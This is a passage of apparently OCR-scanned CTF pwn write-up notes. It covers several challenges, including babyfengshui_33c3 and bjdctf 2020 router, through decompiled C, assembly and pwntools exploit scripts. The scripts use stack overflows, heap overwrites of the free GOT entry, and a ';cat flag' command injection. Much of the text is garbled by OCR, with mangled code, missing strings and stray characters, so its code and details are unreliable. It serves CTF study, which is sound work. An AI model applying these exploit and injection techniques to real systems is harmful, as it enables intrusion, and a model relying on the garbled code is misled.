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int _ cdecl main(int argc, const char **argv, const char **envp)

unsigned int v3; // eax

char s2[11]; // [esp+1Dh] [ebp-13h] BYREF
int v6; // [esp+28h] [ebp-8h]

int i; // [esp+2Ch] [ebp-4h]

ve = 18;
puts("\n\n\n------ Test Your Memory!------- \n");
v3 = time(@);
srand(v3);
for (1 =9; 1 < v6; ++1i )
s2[1] = alphanum_2626[rand() % ©x3Eu];
printf("%s", s2);
mem_test(s2);
return @;

int _ _cdecl mem_test(char *s2)

int result; // eax
char s[19]; // [esp+15h] [ebp-13h] BYREF

memset(s, ©, ©xBu);
puts("\nwhat???? : ");
printf("ex%x \n", hint);
puts("cff flag go go go ...\n");
printf("> ");
__1s0c99_scanf("%s"™, s);
if ( !strncmp(s, s2, 4u) )
result = puts(“"good job!!\n");
else
result = puts(“"cff flag is failed!!\n");
return result;
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int _ _cdecl win_func(char *command)

{
return system(command);
¥
.data:8804A040 hint dd offset aCatFlag 5 DATA XREF: mem_test+2DTr
.data:0804A0408 _data ends ; "cat flag"

JETTER%L, catfaghffi, #iE#Z K.
from pwn import

r process(

system_addr = 0x08048440

cat_flag = Ox080487E0

payload ox17 p32(system_addr) p32(cat_flag) p32(cat_flag)

r.sendline(payload)

r.interactive()

47 babyfengshui_33c3 2016
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puts("@: Add a user");

puts("1l: Delete a user");

puts("2: Display a user");

puts("3: Update a user description™);

puts(“4: Exit");

printf(“Action: ");

if ( __isoc99 _scanf("%d", &vl) == -1 )
break;

if (vl )

{
printf(“size of description: ");
__is0c99_scanf("%u%c", v2, &ve);
sub_8e48816(v2[e]);

¥

if (vi==1)

{
printf(“index: ");
__1s0c99_scanf("%d", v2);
sub_8048905(LOBYTE(v2[0]));

¥

if (vl ==2)

{

printf(“index: ");
__1s0c99_scanf("%d", v2);
sub_804898F (LOBYTE(v2[0]));

}

if (vl ==3)

{
printf(“index: ");
__1s0c99_scanf("%d", v2);
sub_8048724(LOBYTE(vz2[@]));

}
if (vl ==4)

add
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_DWORD *__cdecl sub_8048816(size_t al)

{

void *s; // [esp+14h] [ebp-14h]

_DWORD *v3; // [esp+18h] [ebp-18h]

s = malloc(al);
memset(s, ©, al);

v3 = malloc(@x8eu);
memset(v3, ©, @x80u);
*v3 = s;
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printf("name: ");

M

sub_80486BB((char *)*(&ptr + (unsigned _ int8)byte_804B069) + 4, 124);
sub_8e48724((unsigned __ int8)byte_8@4BOE69++);

-

return v3;

bss name

I\

des

unsigned int _ cdecl sub_8@48985(unsigned _ int8 al)

{
unsigned int v2; // [esp+1Ch] [ebp-Ch]

v2 = __readgsdword(@x14u);

if ( al < (unsigned __int8)byte_8e4Be69 && *(&ptr + z1) )

{
free(*(void **)*(&ptr + 21));
free(*(&ptr + al));
*(&ptr + 2l) = ©;

}

return __readgsdword(@x1l4u) *~ v2;
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unsigned int _ cdecl sub_8@4898F(unsigned __ int8 al)

{
unsigned int v2; // [esp+1Ch] [ebp-Ch]

v2 = __readgsdword(@xl4u);

if ( 21 < (unsigned __ int8)byte_804B069 && *(&ptr + 21) )

{
printf("name: %s\n", (const char *)*(&ptr + 21) + 4);
printf("description: %s\n", *(const char **)*(&ptr + al));

}

return __readgsdword(@xl4u) ~ v2;
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update

unsigned int _ cdecl sub_8048724(unsigned _ int8 al)

{
char v2; // [esp+17h] [ebp-11h] BYREF
int v3; // [esp+18h] [ebp-18h] BYREF
unsigned int v4; // [esp+1Ch] [ebp-Ch]

v4d = __readgsdword(ex14u);
if ( 2l < (unsigned __ int8)byte_804Be69 && *(&ptr + al) )
{
V3 = @;
printf("text length: ");
__iso0c99_scanf("%u%c", &v3, &v2);
if ( (char *)(v3 + *(_DWORD *)*(&ptr + 2al)) »>= (char *)*(&ptr + 2l1) - 4 )
{
puts("my 133t defenses cannot be fooled, cyal!");
exit(1);
}
printf("text: ");
sub_8@486BB(*(char **)*(&ptr + al), v3 + 1);
¥

return __readgsdword(@xl4u) "~ v4;

}

TR L IX R I pwin

XA R O 51 1 IRAER

T LA A 5 7

if ((char*)(v3 +*(_DWORD *)ptr[a1]) >= (char *)ptr{a1] -4 )
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from pwn import

context(arch ,log level
context.terminal=[ 5 ]
process( )
ELF(
elf=ELF(

def add(deslen,txtlen,text):
p.sendlineafter(
.sendlineafter( (deslen))
.sendlineafter(
.sendlineafter( (txtlen))

.sendlineafter(

p
p
p
p

def delete(id):
p.sendlineafter(

p.sendlineafter(

def Display(id):
p.sendlineafter(
p.sendlineafter(

update(id,txtlen,text):
.sendlineafter(
.sendlineafter(
.sendlineafter( (txtlen))
.sendlineafter(

1
add (0x20,0x20, 0x20)

add (0x20,0x20, 0x20)

delete(9)

add (0x80,0xb8, 0xb0+p32(free_got))
add (0x80,0x8, )

p.recvuntil(

leak=u32(p.recv(4))

libc_base=1leak- (0xf7d9dc30 -0xf7d28000)
system_addr=1libc_base+libc.symbols|
update(1,4,p32(system_addr))

delete(3)

p.interactive()




from pwn import

context(arch ,log level

remote( , 28941)

def add(deslen,txtlen,text):

r

"
"
"
"

.sendlineafter(

.sendlineafter( (deslen))
.sendlineafter( )
.sendlineafter( (txtlen))

.sendlineafter(

def delete(id):

s

s

sendlineafter(
sendlineafter(

def Display(id):

r.

r.

sendlineafter(
sendlineafter(

def update(id,txtlen,text):

.sendlineafter(
.sendlineafter(
.sendlineafter( (txtlen))
.sendlineafter(

free_got=elf.got[

add (0x80, 0x89,
add (0x80, 0x89,
add (0x8, Ox8,
delete(9)

add(0x100, 0x19c, 0x198+p32(elf.got[

free_addr = u32(r.recv(4))

libc_base free_addr libc.sym[

sys_addr libc_base libc.sym[

r.interactive()
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int win()

char s[64]; // [esp+Ch]
FILE *stream; // [esp+4Ch]

[ebp-4Ch] BYREF
[ebp-Ch]
fopen("flag.txt"™, "r");

ream )

puts(
"Flag File is Missing. Problem is Misconfigured,
exit(e);

fgets(s, 64, stream);
return printf(s);

JE TR T

please contact an Admin if you are running this on the shell server.");

Jint vuln()
{
{f int ve; // eax

H char s[40]; // [esp+@h]

[ebp-28h]

i| gets(s);
I ve = get_return_address();

HP-F e A Ak
from pwn import

remote( , 28047)
0x080485cb
0x0804865C

44 p32(cat_flag)

r.sendline(payload)

r.interactive()

49 bjdctf 2020 router

(7S

| return printf("Okay, time to return... Fingers Crossed...

BYREF

Jumping to e@x%x\n", ve@);
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puts(“Welcome to BIDCTF router test program! ");
while ( 1)
{

menu();

puts(“Please input u choose:");

vd = 8;

__1s0c99_scanf("%d", &v4);

switch ( v4 )

{

case 1:
puts(“"Please input the ip address:");
read(®, buf, @xleuLlL);
strcat(dest, buf);
system(dest);
puts(“done!™);
break;

case 2:
puts("bibibibbibibib~an™);
sleep(3u);
puts("ziziizzizia~~");
sleep(3u);
puts("something wrong!");
puts("Test done!");
break;

case 3:
puts("Please input what u want to say");
puts("Your suggest will help us to do better!");
read(®@, v10, @x3AulLlL);
printf("Dear ctfer,your suggest is :%s", v10);
break;

case 4:
puts(“Hey guys,u think too much!™);
break;

KR anE..

int menu()

{
puts(“1.ping");
puts("2.test");
puts(“3.leave comments");
puts("4.root");
return puts("5.exit");
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Welcome to BJDCTF router test program!
.ping

-test

.leave comments

.Toot

.exit

Please input u choose:

1

Please input the ip address:
cat flag

sh: 1: ping: not found

sh: 2: allocatping: not found
done!

.ping

-test

.leave comments

.root

.exit

Please input u choose:

L% B R R N
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prblmtfin A\ cat flag
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sh: 1: ping: not found

sh: 2: allocatping: not found

done!

.ping

-test

.leave comments

.Toot

.exit

Please input u choose:

1

Please input the ip address:

;cat flag

sh: 1: ping: not found

sh: 2: allocatping: not found
tlag{545b2c8a-1eT4-4519-a79¢c-d5080bd35602}
sh: 3: llocatping: not found

sh: 4: allocatping: not found
tlag{545b2c8a-1eT4-4519-a79¢c-d5080bd35602}
sh: 5: llocatping: not found

sh: 6: allocatping: not found
tlag{545b2c8a-1eT4-4519-a79¢c-d5080bd35602}
sh: 7: llocatping: not found

sh: 8: allocatping: not found
tlag{545b2c8a-1eT4-4519-a79¢c-d5080bd35602}
sh: 9: llocatping: not found

sh: 1@: allocatping: not found
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__int64 v4; // rbx
__inte4 v5; // rax
char v7; // [rsp+Fh] [rbp-131h] BYREF
__inte4 v8; // [rsp+18h] [rbp-130h] BYREF

char v9[176]; // [rsp+26h] [rbp-1286h] BYREF
char vie[16]; // [rsp+Déh] [rbp-7@h] BYREF
char v11[6é4]; // [rsp+EGh] [rbp-66h] BYREF
unsigned __int64 v12; // [rsp+128h] [rbp-18h]

vl2 = __readfsqword(@x28u);
setbuf(stdout, eLL);

strcpy(vie, "2jctf_paSswerd");
memset(vll, @, sizeof(vil));

Admin: :Admin((Admin *)v9, "admin", v18);
puts(

Sl 2 U V2N P D B O
DY I LTI T 7 _\\7/
s — e b =] Q)
"/ W/ \\ [ 1_1 1] | \_/

printf("Please enter username: ");
User::read_name((User *)&login);

printf("Please enter password: ");

v3 = (void (*)(void))main::{lambda(void)#1}::ope
v8 = password_checker(v3);
User::read_password((User *)&login);

v4 = User::get_password((User *)v9);

v5 = User::get_password((User *)&login);
password_checker(void (*)(void))::{lambda(char c
return 0;

CH+IFINZAR LT o
X THRECE % adminif.

int _ fastcall Admin::shell(Admin
{

*this)

puts(“Congratulations!");
return system("/bin/sh");

}

RPATH RUNPATH Symbols FORTIF
No RPATH  No RUNPATH 112 Symbols Yes @
_ \n“
— () \n"
'\ A"
| | [\n"
LW O O O AV
/ Ll );
rator void (*)(void)(&v7);
onst*,char const*)#1}::operator()(&ve, v5, v4);
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lea rdx, [rbp+s]

lea rax, [rbp+s]

mov rcx, rdx

mov edx, offset format ; "Password accepted: %s\n"
mov esi, 56h ; 'P' ; maxlen
mov rdi, rax ;S

mov eax, @

call _shprintf

lea rax, [rbp+s]

mov rdi, rax ;S

call _puts

mov rax, [rbp+var_68]

mov rax, [rax]

mov rax, [rax]

call rax

jmp short loc_408A62

X EHcallrax, 7r#rraxifkik.



v8 = password_checker(v3);

User::read_password((User *)&login);

v4 = User::get_password((User *)v9);

v5 = User::get_password((User *)&login);

password_checker(void (*)(void))::{lambda(char const*,char const*)#1}::operator()(&v3, v5, v4);

ggvgvgvor up o o, UNnueT.Lneg
peveLeeseD db ? ; undefine
peveeessC db ? ; undefine
PPPLLLL6B db ? ; undefine
PePeeRB6A db ? ; undefine
PPPLLLLE9 db ? ; undefine
PPEReReES var_ 68 dq ?

POOBOROEO s db 8 dup(?)
POOORO58 var 58 dq ?

POeeeeRe5e var 58 dq ?

POOERR4S var 48 dq ?

POeeeRR4e var 48 dq ?

POOEOERO38 var 38 dq ?

POeeeRe30e var 38 dq ?

POOORO28 var 28 dq ?

POeeeRe20 var 20 dq ?

POOERO18 var 18 dq ?

peoeeeole db ? ; undefine
PPPOOLLOF db ? ; undefine
PePLeLLRE db ? ; undefine
peoeeeeaD db ? ; undefine
peveeesnC db ? ; undefine
PPPLoLLB db ? ; undefine
PePReLeeRA db ? ; undefine
PePLLLR9 db ? ; undefine
peoeeeves8 var_8 dg ?

pooeeBeed s db 8 dup(?)
POOEORees r db 8 dup(?)
pooeesvle

L Yalalalalala Nal

3] 7 read passwd LT [Fraxss fH Flvar 18, MsTE i id mi4T.

from pwn import

r remote

backdoor

0x400e88

r.sendlineafter

r.sendlineafter

r.interactive

Ox3a+p64(backdoor
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